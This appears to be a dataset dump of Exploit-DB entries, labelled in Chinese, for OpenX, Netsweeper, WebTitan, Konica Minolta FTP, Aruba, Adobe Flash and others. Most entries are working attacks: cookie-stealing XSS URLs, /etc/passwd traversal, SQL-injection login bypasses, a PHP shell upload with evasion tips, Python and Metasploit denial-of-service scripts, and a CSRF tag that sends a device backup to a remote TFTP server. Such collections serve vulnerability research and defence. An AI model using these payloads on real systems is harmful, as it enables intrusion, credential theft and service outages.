QLWD/code_shield huggingface dataset:
标题: OpenX 2.8.10 - 'plugin-index.php' Cross-Site Scripting EDB-ID: 37938 CVE: 2012-4989 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/55860/info

OpenX is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OpenX 2.8.10 is vulnerable; other versions may also be affected. 

http://www.example.com/www/admin/plugin-index.php?action=info&group=vastInlineBannerTypeHtml&parent=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E [XSS] URL: https://www.exploit-db.com/exploits/37938
标题: SenseSites CommonSense CMS - 'article.php?id' SQL Injection EDB-ID: 37942 CVE: 2012-5342 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/55893/info
  
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/article.php?id=5 [SQL Injection] URL: https://www.exploit-db.com/exploits/37942
标题: WebTitan - 'logs-x.php' Directory Traversal EDB-ID: 37943 CVE: 2011-4640 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/55904/info

WebTitan is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files containing sensitive information that could aid in further attacks.

WebTitan Versions prior to 3.60 are vulnerable. 

http://www.example.com//logs-x.php? jaction=view&fname=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/37943
标题: Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure EDB-ID: 37937 CVE: 2012-0957 类型: LOCAL 平台: LINUX 发布日期: 2012-10-09 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/55855/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
*/

/* Test for UNAME26 personality uname kernel stack leak.
 * Copyright 2012, Kees Cook <keescook@chromium.org>
 * License: GPLv3
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/utsname.h>

#define UNAME26 0x0020000

int dump_uts(void)
{
 int i, leaked = 0;
 struct utsname buf = { };

 if (uname(&buf)) {
  perror("uname");
  exit(1);
 }
 printf("%s\n", buf.release);

 for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
  unsigned char c = (unsigned char)buf.release[i];

  printf("%02x", c);
  if (c)
   leaked = 1;
 }
 printf("\n");

 return leaked ? (i - (strlen(buf.release) + 1)) : 0;
}

int main(int ac, char **av)
{
 int leaked;

 leaked = dump_uts();
 if (leaked) {
  printf("Leaked %d bytes even without UNAME26!?\n", leaked);
  return 1;
 }


 if (personality(PER_LINUX | UNAME26) < 0) {
  perror("personality");
  exit(1);
 }

 leaked = dump_uts();
 if (leaked) {
  printf("Leaked %d bytes!\n", leaked);
  return 1;
 } else {
  printf("Seems safe.\n");
  return 0;
 }
} URL: https://www.exploit-db.com/exploits/37937
标题: Netsweeper 3.0.6 - Authentication Bypass EDB-ID: 37931 CVE: 2014-9611 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +------------------------------------------------------------------------+
+ Netsweeper 3.0.6 - Authentication Bypass (Account and Policy Creation) +
+------------------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 3.0.6 (and probably other versions)
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9611

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
An non-authenticated is able to provision new user accounts (and also create new policies under the same name as the newly created user accounts) 

URL Path: http:/netsweeper:8080/webadmin/nslam/index.php?username=secuid0&password=secuid0&ip=127.0.0.1&theme=Global%20Web%20Admin%20Theme&groupname=

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
18-Dec-2014: Confirm fix on version 4.0.5
17-Jan-2015: CVE assigned CVE-2014-9611
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37931
标题: Netsweeper 4.0.8 - Arbitrary File Upload / Execution EDB-ID: 37932 CVE: 2014-9619 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +--------------------------------------------------------+
+ Netsweeper 4.0.8 - Arbitrary File Upload and Execution +
+--------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 4.0.8 (and probably other versions)
Discovered by   : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9619

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Netsweeeper 4.0.8 (and probably other versions) allows an authenticated user with admin privileges on the Cloud Manager web console, to upload arbitrary PHP code (eg PHP shell) and further execute it.

To replicate the bug, pipe the following request while being authenticated using admin privileges: http://netsweeper/webadmin/ajaxfilemanager/ajaxfilemanager.php

From the response page you can upload any GIF-lookalike php shell (remember to use basic evasion technique for file to upload successfully, hint: filename="secuid0.php.gif" with gif like header and php shell following)

Then, access your shell from: https://netsweeper/webadmin/deny/images/secuid0.php.gif and profit.

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9619
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37932
标题: Netsweeper 4.0.8 - Authentication Bypass (via New Profile Creation) EDB-ID: 37933 CVE: 2014-9618 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +-----------------------------------------------------------------+
+ Netsweeper 4.0.8 - Authentication Bypass (New Profile Creation) +
+-----------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 4.0.8 (and probably other versions)
Discovered by   : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9618

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Netsweeper's 4.0.8 (and probably other versions) Client Filter Admin portal can be reached at http://netsweeper/webadmin/clientlogin/ and a username/password combination is required to Add a Profile, by setting the "action" parameter to "showdeny" it will force the admin interface to load and subsequently allow any non-authenticated user to create a new profile.

URL Path: http://netsweeper/webadmin/clientlogin/?srid=&action=showdeny&url=

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9618
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37933
标题: Netsweeper 4.0.4 - SQL Injection EDB-ID: 37927 CVE: 2014-9612 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +----------------------------------+
+ Netsweeper 4.0.4 - SQL Injection +
+----------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 4.0.4 (and probably other versions)
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9612

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Once specific parameter in Netsweeper 3.0.6, 4.0.3 and 4.0.4 (and probably other versions) was identified being vulnerable to SQL injection attacks.
Condition: The exploitation can be performed by any non-authenticated user with access to the vulnerable pages (usually from everyone).

Vulnerable Page: http://netsweeper:8080/remotereporter/load_logfiles.php?server=<SQLi>&url=a
Vulnerable GET Parameter: server

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9612
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37927
标题: Netsweeper 4.0.8 - SQL Injection / Authentication Bypass EDB-ID: 37928 CVE: 2014-9605 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +----------------------------------------------------------------+
+ Netsweeper 4.0.8 - SQL Injection Authentication Bypass (Admin) +
+----------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com/
Version  : 4.0.8 (and probably other versions)
Discovered by   : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9605

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
By adding two single-quotes in an specific HTTP request, it forces Netsweeeper 4.0.8 (and probably other versions) to authenticate us as admin. The access gives us the ability to:
 i)   "Back Up the System" which creates a downloadable system backup tarball file (containing the whole /etc /usr and /var folders)
 ii)  "Restart" the server
 iii) "Stop the filters on the server"

Vulnerability Type: Authentication Bypass (using two single-quotes)
p0c:  http://netsweeper/webupgrade/webupgrade.php
 POST: step=&login='&password='&show_advanced_output=                

p0c restart the server:
 http://netsweeper/webupgrade/webupgrade.php
 POST: step=12&login='&password='&show_advanced_output=
  
 followed by

 http://netsweeper/webupgrade/webupgrade.php HTTP/1.1
 POST: step=12&restart=yes&show_advanced_output=false

p0c stop the filters on the server:
 http://netsweeper/webupgrade/webupgrade.php
 POST: step=9&stopservices=yes&show_advanced_output=

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9605
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37928
标题: Netsweeper 2.6.29.8 - SQL Injection EDB-ID: 37926 CVE: 2014-9613 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +-------------------------------------+
+ Netsweeper 2.6.29.8 - SQL Injection +
+-------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 2.6.29.8 (and probably other versions)
Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9613

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
Two specific parameters in two pages of Netsweeper Content Filtering solution v2.6.29.8 (and probable earlier versions) are vulnerable to SQL injection.
Condition: The exploitation can be performed by any non-authenticated user with access to the vulnerable pages (usually from everyone).

Vulnerability Type: SQL Injection [SQLi-I]
Vulnerable Page I: http://netsweeper/webadmin/auth/verification.php
Vulnerable POST Parameter: login

Vulnerability Type: SQL Injection [SQLi-II]
Vulnerable Page II: http://netsweeper/webadmin/deny/index.php
Vulnerable POST Parameter: dpid

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
12-Jan-2011: Netsweeper fixed issue on 2.6.29.10
17-Jan-2015: CVE assigned CVE-2014-9613
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37926
标题: Netsweeper 4.0.8 - Authentication Bypass (via Disabling of IP Quarantine) EDB-ID: 37929 CVE: 2014-9610 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: +-----------------------------------------------------------------------+
+ Netsweeper 4.0.8 - Authentication Bypass (Disabling of IP Quarantine) +
+-----------------------------------------------------------------------+
Affected Product: Netsweeper
Vendor Homepage : www.netsweeper.com
Version  : 4.0.8 (and probably other versions)
Discovered by   : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched       : Yes
CVE  : CVE-2014-9610

+---------------------+
+ Product Description +
+---------------------+
Netsweeper is a software solution specialized in content filtering.

+----------------------+
+ Exploitation Details +
+----------------------+
An unauthenticated user is able to remove from quarantine any IP address on Netsweeeper 4.0.8 (and probably other versions).
URL Path: http://netsweeper/webadmin/user/quarantine_disable.php?ip=127.0.0.1

+----------+
+ Solution +
+----------+
Upgrade to latest version.

+---------------------+
+ Disclosure Timeline +
+---------------------+
24-Nov-2014: Initial Communication
03-Dec-2014: Netsweeper responded
03-Dec-2014: Shared full details to replicate the issue
10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2
17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public
18-Dec-2014: Confirm fix
17-Jan-2015: CVE assigned CVE-2014-9610
11-Aug-2015: Public disclosure URL: https://www.exploit-db.com/exploits/37929
标题: Konica Minolta FTP Utility 1.0 - Remote Denial of Service (PoC) EDB-ID: 37908 CVE: 2015-7767 类型: DOS 平台: WINDOWS 发布日期: 2015-08-21 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: Konica Minolta FTP Utility 1.0 Remote DoS PoC
# Date: 21-08-2015
# Exploit Author: Shankar Damodaran
# Vendor Homepage: http://www.konicaminolta.com/
# Software Link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Version: 1.0
# Tested on: Microsoft Windows XP Professional SP3 English


import socket

# The ip address of the remote host
ftphost = '192.168.1.7'
# The port of the remote host
ftpport = 21

# Fuzzed packet of a certain length, Appending this to the USER command and requesting the remote ftp server denies requests for other legitimate users. 
crafted_user_name= "B" * 450012   # DoS

# Establishing connection
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((ftphost,ftpport))
s.recv(1024)

# Sending the evil input.
s.send('USER' + crafted_user_name +'\r\n')

# Once the packet has been sent, the DoS will occur on the remote FTP server. By sending an interrupt through (Ctrl+C), will resume the FTP server from DoS. (Note : The FTP server will not get crashed)
s.send('QUIT \r\n') 
s.close()

# End of PoC - Shankar Damodaran URL: https://www.exploit-db.com/exploits/37908
标题: WordPress Plugin MDC Private Message 1.0.0 - Persistent Cross-Site Scripting EDB-ID: 37907 CVE: 2015-6805 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-21 漏洞利用脚本: # Exploit Title: WordPress MDC Private Message Persistent XSS
# Date: 8/20/15
# Exploit Author: Chris Kellum
# Vendor Homepage: http://medhabi.com/
# https://wordpress.org/plugins/mdc-private-message/
# Version: 1.0.0



=====================
Vulnerability Details
=====================

The 'message' field doesn't sanitize input, allowing a less privileged user (Editor, Author, etc.)
to execute an XSS attack against an Administrator.

Proof of Concept: 

Place <script>alert('Hello!')</script> in the message field of a private message and then submit.

Open the message and the alert window will fire.

===================
Disclosure Timeline
===================

8/16/15 - Vendor notified.
8/19/15 - Version 1.0.1 released.
8/20/15 - Public Disclosure. URL: https://www.exploit-db.com/exploits/37907
标题: PowerTCP WebServer for - ActiveX Denial of Service EDB-ID: 37905 CVE: 2012-3819 类型: DOS 平台: WINDOWS 发布日期: 2012-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/55761/info

PowerTCP WebServer for ActiveX is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application (typically Internet Explorer), denying service to legitimate users.

PowerTCP WebServer for ActiveX 1.9.2 is vulnerable; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
    super(update_info(info,
        'Description' => %q{ 'Name' => 'Dart Webserver
<= 1.9.0 Stack Overflow',
        Dart Webserver from Dart Communications throws a stack
overflow exception
        when processing large requests.
    }
    ,
    'Author' => [
    'catatonicprime'
    ],
    'Version' => '$Revision: 15513 $',
    'License' => MSF_LICENSE,
    'References' => [
        [ 'CVE', '2012-3819' ],
        ],
    'DisclosureDate' => '9/28/2012'))

    register_options([
        Opt::RPORT(80),
        OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',
'520000' ])
    ])
    end
    def run
        serverIP = datastore['RHOST']
        if (datastore['RPORT'].to_i != 80)
            serverIP += ":" + datastore['RPORT'].to_s
        end
        size = datastore['SIZE']

        print_status("Crashing the server ...")
        request = "A" * size + "\r\n\r\n"
        connect
        sock.put(request)
        disconnect

    end
end URL: https://www.exploit-db.com/exploits/37905
标题: Aruba Mobility Controller 6.4.2.8 - Multiple Vulnerabilities EDB-ID: 37891 CVE: 2015-5437 类型: WEBAPPS 平台: XML 发布日期: 2015-08-20 漏洞利用脚本: # Title: Aruba Mobility Controller CSRF And XSS Vulnerabilities
# Date: 08/016/2015
# Author: Itzik Chen
# Product web page: http://www.arubanetworks.com
# Affected Version: 6.4.2.8
# Tested on: Aruba7240, Ver 6.2.4.8

 

Summary
================

Aruba Networks is an HP company, one of the leaders in enterprise Wi-Fi.
Arube Controller suffers from CSRF and XSS vulnerabilities.



Proof of Concept - CSRF
=========================

192.168.0.1 - Controller IP-Address
172.17.0.1 - Remote TFTP server 

<IMG width=1 height=1 SRC="https://192.168.0.1:4343/screens/cmnutil/copyLocalFileToTftpServerWeb.xml?flashbackup.tar.gz,172.17.0.1,flashbackup.tar.gz">

That will send the flashbackup configuration file to a remote TFTP server.



Proof of Concept - XSS
=========================

https://192.168.0.1:4343/screens/switch/switch_mon.html?mode=plog-custom&mode-title=test</td><img width=1 height=1 src=/images/logo-mobility-controller.gif onLOAD=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/37891
标题: Adobe Flash - Shared Object Type Confusion EDB-ID: 37881 CVE: 2015-5562 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=434&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The Shared Object constructor does not check that the object it is provided is of type Object before setting it to be of type SharedObject. This can cause problems if another method (such as Sound.loadSound) calls into script between checking the input object type, and casting its native object. A PoC is as follows:

class subso extends Sound{

 public function subso(f){
   
 super("_level0.test");
 var n = {valueOf : func};
 _global.func = f;
 _global.t = this;
 var f2 = this.loadSound;
 f2.call(this, n, 1);
}

function func(){
 
 _global.func(_global.t,"/sosuper.swf", "/sosuper.swf");
 return 1;
 }
}
 

A sample fla, swf and AS file are attached. Note that this PoC needs to be hosted on a webserver to work and only works on 32-bit systems (tested on Windows Chrome). song1.mp3 should be put in the same folder on the server as the swf, it is needed for loadSound to work. This bug is likely only exploitable on 32-bit systems due to how the type-confused fields line up.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37881.zip URL: https://www.exploit-db.com/exploits/37881
标题: Adobe Flash - Heap Buffer Overflow Due to Indexing Error When Loading FLV File EDB-ID: 37880 CVE: 2015-5118 类型: DOS 平台: LINUX_X86-64 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately, and:

http://localhost/LoadMP4.swf?file=crash3006694.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7779846eee: mov    %ax,(%rdi,%rdx,2)

rax            0xff69
rdi            0x7f7778b70000
rdx            0x160b

7f777861e000-7f7778b72000 rw-p 00000000 00:00 0 
7f7778b72000-7f7779228000 ---p 00000000 00:00 0 

It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37880.zip URL: https://www.exploit-db.com/exploits/37880